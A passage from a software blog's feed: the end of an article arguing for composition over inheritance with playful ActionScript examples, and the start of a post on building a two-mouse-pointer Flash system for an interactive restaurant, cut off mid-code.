dj.<span style="color: #660066;">crushTownspeople</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>




<p>This looks like the simplest approach, and it is at first. However, your dark powers are locked up inside the DarkJedi class. If you need to make a DarkDroid and a DarkSpaceship that can both also crush townspeople, you&#8217;re in trouble. These classes obviously can&#8217;t extend Jedi, so you have to duplicate townspeople crushing functionality across your whole DarkArmy or split it out into utility functions that you call from every crushTownspeople method. Either way, it gets complicated.</p>

<p>Now suppose you had done it like this:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// good</span>
<span style="color: #003366; font-weight: bold;">class</span> Jedi <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">function</span> drawSabre<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>Sabre <span style="color: #009900;">&#123;</span> ... <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">class</span> DarkPowers <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">function</span> crushTownspeople<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span> ... <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">class</span> DarkJedi <span style="color: #003366; font-weight: bold;">extends</span> Jedi <span style="color: #009900;">&#123;</span>
    <span style="color: #006600; font-style: italic;">// DarkJedi has-a DarkPowers</span>
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">var</span> darkPowers<span style="color: #339933;">:</span>DarkPowers <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> DarkPowers<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
dj<span style="color: #339933;">:</span>DarkJedi <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> DarkJedi<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
dj.<span style="color: #660066;">darkPowers</span>.<span style="color: #660066;">crushTownspeople</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>




<p>Everything that was possible in the first version is still possible in the second, but because DarkPowers is a separate class, there&#8217;s no limit on what kind of object can be evil:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">class</span> DarkHippo <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">var</span> darkPowers<span style="color: #339933;">:</span>DarkPowers <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> DarkPowers<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">function</span> capsizeCanoe<span style="color: #009900;">&#40;</span>canoe<span style="color: #339933;">:</span>Canoe<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span> <span style="color: #339933;">&amp;</span>#x2026<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<p><em>Yeah, but I don&#8217;t make Jedis. Or hippos.</em></p>

<p>Good point, but the problem above happens everywhere that inheritance does. I&#8217;ll give an example from the Flash player API because I consider Actionscript 3.0 is one of the most beautiful works of software engineering I have used in recent years, and if the team that made it can&#8217;t get inheritance to behave properly, how can the rest of us be expected to?</p>

<p>Here are 2 examples of use of inheritance, one appropriate and one not, and by &#x2018;appropriate&#8217; I mean that the problems that inheritance inevitably ends up causing are probably outweighed by the lower complexity. </p>

<table>
<tr>
<td valign="top" class="good" width="50%">

<h3>Good</h3>

	<p>In Flash the DisplayObject hierarchy is a set of classes that represent the different kinds of on-screen object:</p>
	
	<p align="center"><a href="http://berniesumption.com/software/files/2010/10/DisplayObject_subclasses.jpg"><img src="http://berniesumption.com/software/files/2010/10/DisplayObject_subclasses-300x141.jpg" caption="DisplayObject inheritance diagram" title="DisplayObject_subclasses" width="300" height="141" class="alignnone size-medium wp-image-45" /></a></a></p>
	
	<p>The DisplayObject hierarchy is a good use of inheritance. MovieClip extends Sprite and adds a timeline. A MovieClip is-a Sprite through and through: the fundamental defining purpose of a MovieClip is to be &#8216;a new kind of Sprite&#8217;. A MovieClip can always be used in place of a Sprite, it has the same methods and the same capabilities as a sprite, it is drawn on-screen like a Sprite; it just adds some extra timeline functionality on top.</p>
	
	<p>More importantly, you generally don&#8217;t need to use the timeline features in the MovieClip class independently of the on-screen drawing features of the Sprite class.</p>
	
	<p>It&#8217;s not all perfect. Last week I wanted to add some common functionality to both MovieClips and Sprites, but I couldn&#8217;t because it&#8217;s not possible to modify the DisplayObjectContainer base class that both these classes extend (and I refuse to <a href="http://en.wikipedia.org/wiki/Monkey_patch">monkey patch</a>). In the end I had to use MovieClips where Sprites would do, which is inefficient.</p>
	
	<p>It would be possible to re-articulate this relationship as has-a: the functionality in the MovieClip class would be split into a Timeline class, and MovieClip would extend Sprite with a public &#x2018;timeline&#8217; property.</p>
	
<pre>
// old style:
mc.goToAndPlay(&quot;shizzle&quot;);
// would become:
mc.timeline.goToAndPlay(&quot;shizzle&quot;);
</pre>
	
	<p>But the existing version works well enough, and I think that the Flash API architect(s) made the right decision.</p>

</td>
<td valign="top" class="evil" width="50%">

	<h3>Bad</h3>
	
	<p>In flash, code to dispatch DOM events is contained in the EventDispatcher class.</p>
	
	<p>EventDispatcher is a bad use of inheritance because in order to dispatch events, classes extend EventDispatcher. This is an incorrect analysis: just because a class can dispatch events, it does mean that fundamental defining purpose of the class is to be &#8216;a new kind of EventDispatcher&#8217;. Chances are that the class has a different fundamental purpose and the ability to dispatch events is secondary to the main purpose of the object.</p>
	
	<p>This is fine for DisplayObjects, because all DisplayObjects dispatch events, and DisplayObject extends EventDispatcher, but what do you do if you want to dispatch events from an object that cannot extend EventDispatcher because it is already extending something else, perhaps Array for example? In this case, you must jump through hoops with the IEventDispatcher interface and a lot of extra boilerplate code.</p>
	
	<p>This problem would not occur if instead of extending EventDispatcher in order to dispatch events, a class had a public property &#x2018;events&#8217; that contained an EventDispatcher. Instead of calling foo.addEventListener(), you would call foo.events.addListener(). This could either be a convention, or could be enforced with an interface. Now any class can participate in the event system just by adding a public property, because the relationship has been re-articulated from &#8216;x is an EventDispatcher&#8217; to &#8216;x has an event dispatcher&#8217;.</p>
	
	<p>(In all fairness to the Flash player API team, they made this decision because they were following the <a href="http://www.w3.org/TR/DOM-Level-2-Events/">DOM Events specification</a>, which requires that methods like addEventListener exist on the DOM nodes themselves, not as a separate events object)</p></td>

</tr>
</table>

<p><em>Enough already, show me the code!</em></p>

<div class="sidebar">

	<p><b>Why do people use inheritance?</b></p>
	
	<p>JavaScript makes inheritance a pain in the ass to implement, so why is it so popular among frameworks? Part of the problem is that JavaScript has always looked like a flimsy lightweight scripting language next to Java and its strongly typed kin; keen to prove that they are using a real language for big people, JavaScript developers have rushed to adopt an OO feature that was never very good in the first place. Strongly typed languages don&#8217;t use inheritance because it&#8217;s a good idea, they use it for 3 bad reasons:<br/>
	
	</p>
	
	<p> 1. Because they have to. Java is littered with situations where, for example, a method requires a source of input so takes an InputStream parameter. InputStream should be an interface, but it&#8217;s not, it&#8217;s a class. Therefore if you want to pass your own input into such a method you have to create a new subclass of InputStream, or the program won&#8217;t compile.<br/>
	
	</p>
	
	<p> 2. Some of the few places where inheritance is appropriate are found in designing large frameworks like the HTML DOM and Flash&#8217;s DisplayObject hierarchy: the kind of systems new web developers are exposed to. People see these when they are learning to program and assume that that&#8217;s how it should be done (I know I did)<br/>
	
	</p>
	
	<p> 3. Sheer force of habit: some &lt;http://en.wikipedia.org/wiki/Simula&gt; people&lt;http://en.wikipedia.org/wiki/Smalltalk&gt; in the 60&#8242;s decided it was a good idea, and it&#8217;s too much effort to stop.

</div>

<h2><a name="example"></a>An example</h2>

<p>Suppose you have a Ball class that implements a red Ball. You extend this class to make a BouncingBall class that, well, bounces. You again extend Ball to make a FadingBall class that fades in and out. Don&#8217;t ask me why, let&#8217;s just assume your client is strange. It might look something like this (the ball, not the client):</p>


    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_1" width="245" height="183">
      <param name="movie" value="http://berniesumption.com/software/files/2010/10/WrongApp.swf" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="http://berniesumption.com/software/files/2010/10/WrongApp.swf" width="245" height="183">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>



<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">class</span> Ball <span style="color: #003366; font-weight: bold;">extends</span> MovieClip <span style="color: #009900;">&#123;</span>    
    <span style="color: #003366; font-weight: bold;">function</span> Ball<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        graphics.<span style="color: #660066;">beginFill</span><span style="color: #009900;">&#40;</span>0xAA0000<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        graphics.<span style="color: #660066;">drawCircle</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">20</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        graphics.<span style="color: #660066;">endFill</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">class</span> BouncingBall <span style="color: #003366; font-weight: bold;">extends</span> Ball <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">var</span> frame<span style="color: #339933;">:</span>int <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">function</span> BouncingBall<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        addEventListener<span style="color: #009900;">&#40;</span>Event.<span style="color: #660066;">ENTER_FRAME</span><span style="color: #339933;">,</span> setPosition<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">function</span> setPosition<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">:</span>Event<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
        frame<span style="color: #339933;">++;</span>
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">y</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">280</span> <span style="color: #339933;">-</span> Math.<span style="color: #660066;">abs</span><span style="color: #009900;">&#40;</span>Math.<span style="color: #660066;">cos</span><span style="color: #009900;">&#40;</span>frame <span style="color: #339933;">/</span> <span style="color: #CC0000;">15</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> <span style="color: #CC0000;">200</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">class</span> FadingBall <span style="color: #003366; font-weight: bold;">extends</span> Ball <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">var</span> frame<span style="color: #339933;">:</span>int <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">function</span> FadingBall<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        addEventListener<span style="color: #009900;">&#40;</span>Event.<span style="color: #660066;">ENTER_FRAME</span><span style="color: #339933;">,</span> setAlpha<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">function</span> setAlpha<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">:</span>Event<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
        frame<span style="color: #339933;">++;</span>
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">alpha</span> <span style="color: #339933;">=</span> Math.<span style="color: #660066;">abs</span><span style="color: #009900;">&#40;</span>Math.<span style="color: #660066;">cos</span><span style="color: #009900;">&#40;</span>frame <span style="color: #339933;">/</span> <span style="color: #CC0000;">15</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<p>Now suppose you want to make a ball that bounces and fades. Feck. Your problem here is that bouncing and fading balls aren&#8217;t really new kinds of ball, they&#8217;re new ways that the same ball behaves. The ball has-a bouncing behavior. Using inheritance, the code that handles bouncing and fading is locked up in the BouncingBall and FadingBall classes and can&#8217;t be used elsewhere.</p>

<p>If you&#8217;re paying any attention you know the solution by now:</p>


    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_2" width="245" height="183">
      <param name="movie" value="http://berniesumption.com/software/files/2010/10/RightApp.swf" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="http://berniesumption.com/software/files/2010/10/RightApp.swf" width="245" height="183">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>



<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// To create a bouncing and fading ball:</span>
<span style="color: #006600; font-style: italic;">// var d = new StrategyBall();</span>
<span style="color: #006600; font-style: italic;">// d.yMotionStrategy = new AbsSineStrategy(80, 200);</span>
<span style="color: #006600; font-style: italic;">// d.alphaStrategy = new AbsSineStrategy(0, 1);</span>
<span style="color: #003366; font-weight: bold;">class</span> StrategyBall <span style="color: #003366; font-weight: bold;">extends</span> MovieClip <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">var</span> yMotionStrategy<span style="color: #339933;">:</span>NumberSequenceStrategy<span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">var</span> alphaStrategy<span style="color: #339933;">:</span>NumberSequenceStrategy<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">function</span> StrategyBall<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        graphics.<span style="color: #660066;">beginFill</span><span style="color: #009900;">&#40;</span>0xAA0000<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        graphics.<span style="color: #660066;">drawCircle</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">20</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        graphics.<span style="color: #660066;">endFill</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        addEventListener<span style="color: #009900;">&#40;</span>Event.<span style="color: #660066;">ENTER_FRAME</span><span style="color: #339933;">,</span> handleEnterFrame<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">function</span> handleEnterFrame<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">:</span>Event<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>yMotionStrategy <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            y <span style="color: #339933;">=</span> yMotionStrategy.<span style="color: #660066;">nextValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>alphaStrategy <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            alpha <span style="color: #339933;">=</span> alphaStrategy.<span style="color: #660066;">nextValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
interface NumberSequenceStrategy <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">function</span> nextValue<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>Number<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #006600; font-style: italic;">// Note how one class is used for both the fading and bouncing behavior - componentisation allows</span>
<span style="color: #006600; font-style: italic;">// for greater code reuse</span>
<span style="color: #003366; font-weight: bold;">class</span> AbsSineStrategy implements NumberSequenceStrategy <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">var</span> frame<span style="color: #339933;">:</span>int <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">var</span> from<span style="color: #339933;">:</span>Number<span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">private</span> <span style="color: #003366; font-weight: bold;">var</span> to<span style="color: #339933;">:</span>Number<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">function</span> AbsSineStrategy<span style="color: #009900;">&#40;</span>from<span style="color: #339933;">:</span>Number<span style="color: #339933;">,</span> to<span style="color: #339933;">:</span>Number<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">from</span> <span style="color: #339933;">=</span> from<span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">to</span> <span style="color: #339933;">=</span> to<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">public</span> <span style="color: #003366; font-weight: bold;">function</span> nextValue<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>Number <span style="color: #009900;">&#123;</span>
        frame<span style="color: #339933;">++;</span>
        <span style="color: #000066; font-weight: bold;">return</span> to <span style="color: #339933;">+</span> Math.<span style="color: #660066;">abs</span><span style="color: #009900;">&#40;</span>Math.<span style="color: #660066;">sin</span><span style="color: #009900;">&#40;</span>frame <span style="color: #339933;">/</span> <span style="color: #CC0000;">15</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span>from <span style="color: #339933;">-</span> to<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<p>Apart from being able to make a bouncing, fading ball, there are 2 huge benefits of this solution:</p>

<ol>
	<li>You can change the behaviour of each ball at runtime: a bouncing ball can become a fading ball at any time.
	<li>You can reuse number generation algorithms between properties &#8211; note how there is only one number generation algorithm &#8211; AbsSineStrategy &#8211; is parametrised with the too and from values so that it can be use to control alpha or height. 
</ol>

<p>That&#8217;s enough theory &#8211; in my next Article I&#8217;ll actually do something useful with all this stuff!</p>

<p class="download-link"><a href="http://berniesumption.com/software/files/2010/10/inheritance-code.zip"><span class="download-arrow">Download the code for this article</span></a></p>

<h3>Recommended article</h3>

<p>A fascinating and detailed account of <a href="http://cowboyprogramming.com/2007/01/05/evolve-your-heirachy">the move from concrete inheritance to composition in game programming</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/inheritance-is-evil-and-must-be-destroyed/feed/</wfw:commentRss>
		<slash:comments>82</slash:comments>
		</item>
		<item>
		<title>The inamo mouse system: a hacktastic story</title>
		<link>http://berniesumption.com/software/inamo-mouse-system-multiple-mouse-pointers-in-flash/</link>
		<comments>http://berniesumption.com/software/inamo-mouse-system-multiple-mouse-pointers-in-flash/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 12:14:34 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
		
		<guid isPermaLink="false">http://berniesumption.com/software/</guid>
		<description><![CDATA[This is the (long) story of how inamo became arguably the world&#8217;s first two-mouse Flash installation. If you enjoy the geeky details of programming projects, this is for you. Sometimes a single sentence in a specification can balloon into a &#8230; <a href="http://berniesumption.com/software/inamo-mouse-system-multiple-mouse-pointers-in-flash/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h3>This is the (long) story of how inamo became arguably the world&#8217;s first two-mouse Flash installation. If you enjoy the geeky details of programming projects, this is for you.</h3>

<p>Sometimes a single sentence in a specification can balloon into a task as daunting as most of the other sentences put together. This is the story of one such sentence. </p>

<p>18 months ago I started building the software and hardware system for an interactive restaurant called <a href="http://www.inamo-restaurant.com/">inamo</a>. Inamo is not the first restaurant to let customers order food and drink through a computer interface at the table, but in our esteemed and unbiased opinion it is the first restaurant to do so in an elegant manner that adds to the dining experience rather than plonking an ugly great touch screen between you and your date.</p>

<div id="attachment_58" class="wp-caption alignnone" style="width: 610px"><img src="/software/files/2010/09/inamo-photo.jpg" alt="Photo of inamo restaurant" title="inamo-photo" width="600" height="400" class="size-full wp-image-58" /><p class="wp-caption-text">Diners at inamo use an interactive menu projected onto the table</p></div>

<p>Buried in the requirements document that the financers had produced was an innocuous little sentence that hardly gave me pause on the first reading:</p>

<p><em>&#8220;Each table seats two people, who can interact with the system simultaneously&#8221;</em></p>

<p>You see, computers only have one mouse pointer. Even if you plug two mice into a PC, Windows will prevent them showing up as two devices and instead merge their input streams so that they both appear to applications as a single virtual device.</p>

<p>Bugger.</p>

<p>Writing mouse applications for modern operating systems is easy because the mouse stack takes care of all the heavy lifting for you. The mouse stack has two main components: device drivers read the arcane binary data format from the mouse hardware and convert it into a useful stream of coordinates for your application, then standard libraries take care of collision detection, i.e. deciding when the mouse has moved over a link or clicked a button. Since the Windows/Flash mouse stack assumes a single pointer, the only option was a ground-up reimplementation of a mouse stack that takes data from our Bluetooth trackpads, converts it into a coordinate stream, feeds it into Flash and performs collision detection.</p>

<h1>Part 1: re-implementing the Flash MouseEvent system</h1>

<p>The trick to getting a two pointer system working is to draw the pointers as part of the flash animation, which has the added benefit that that you can control their appearance. In fact, hiding the system pointer and replacing it with a Flash object is an old Flash designer&#8217;s trick for making fancy mouse pointers.</p>

<p>Ideally, an application for multiple mice should look exactly like programming for a single mouse. Firstly, framework developers shouldn&#8217;t pass unnecessary complexity onto the application developers &ndash; the framework should handle as much heavy lifting as possible. Secondly, the inamo system accepts plugins from 3rd party developers; these plugins are plain old SWF files, and we didn&#8217;t want them to have to be written with our system in mind.</p>

<p>If you&#8217;ve programmed interactive applications in ActionScript 3.0 before, you&#8217;ll know that interacting with the mouse looks something like this:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// sample 1: make shizzle clickable</span>
<span style="color: #003366; font-weight: bold;">var</span> shizzle<span style="color: #339933;">:</span>Shizzle <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Shizzle<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
shizzle.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#40;</span>MouseEvent.<span style="color: #660066;">CLICK</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>e<span style="color: #339933;">:</span>MouseEvent<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
    trace<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Ooh, that tickles!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>




<p>Individual display objects are registered to receive mouse events. The Flash player tracks the position of the mouse pointer, and dispatches MOUSE_OVER and MOUSE_OUT events to registered objects as the mouse passes over them, and CLICK events if they are clicked. This simple demo uses over and out events to emphasise a box when the mouse is over it, as well as the technique of dawing a custom pointer in Flash.</p>

<div class="white-content-box">


    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_3" width="620" height="180">
      <param name="movie" value="/software/files/2010/09/broken-over-sequence.swf" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="/software/files/2010/09/broken-over-sequence.swf" width="620" height="180">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>


</div>

<div class="sidebar">

<p>* finding the highest display object is quite fun. It&#8217;s simple in the case of two display objects with the same parent: the higher object is the one with the greater childIndex property. However, if two objects don&#8217;t share the same parent, you have to trace up the display object tree to find the common ancestor. In computer science terms, this means finding  which node comes second in a depth-first traversal of a n-way tree.</p>

</div>

<p>A na&iuml;ve implementation of this was quite easy. I built a MouseManager that tracks all display objects currently in the system. Each frame, the MouseManager locates the &#8220;over object&#8221;, which is the display object under the mouse pointer, or the highest one* if there are multiple such objects. If this object is different from the previous frame&#8217;s over object, you dispatch a MOUSE_OUT event on the previous one and a MOUSE_OVER event on the new one.</p>

<p>Unfortunately, the na&iuml;ve implementation didn&#8217;t work properly when two mouse pointers are used. Programs are typically written to rely on the fact that once you receive a MOUSE_OVER event, you will get a MOUSE_OUT before the next MOUSE_OVER. Here is the code for the above demo, which makes precisely that assumption:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// sample 2: emphasise the box that the mouse is over</span>
<span style="color: #003366; font-weight: bold;">var</span> buttons<span style="color: #339933;">:</span>Array <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span>button1<span style="color: #339933;">,</span> button2<span style="color: #339933;">,</span> button3<span style="color: #339933;">,</span> button4<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// this variable is set to the box that the pointer is over, i.e. there</span>
<span style="color: #006600; font-style: italic;">// is the implicit assumption that there is only one mouse pointer</span>
<span style="color: #003366; font-weight: bold;">var</span> currentOver<span style="color: #339933;">:</span>Button<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">for</span> each <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> button<span style="color: #339933;">:</span>Button <span style="color: #000066; font-weight: bold;">in</span> buttons<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    button.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#40;</span>MouseEvent.<span style="color: #660066;">MOUSE_OVER</span><span style="color: #339933;">,</span> handleMouseOver<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    button.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#40;</span>MouseEvent.<span style="color: #660066;">MOUSE_OUT</span><span style="color: #339933;">,</span> handleMouseOut<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    button.<span style="color: #660066;">alpha</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0.5</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> handleMouseOver<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">:</span>MouseEvent<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
    currentOver <span style="color: #339933;">=</span> e.<span style="color: #660066;">target</span> <span style="color: #000066; font-weight: bold;">as</span> Button<span style="color: #339933;">;</span>
    currentOver.<span style="color: #660066;">alpha</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> handleMouseOut<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">:</span>MouseEvent<span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
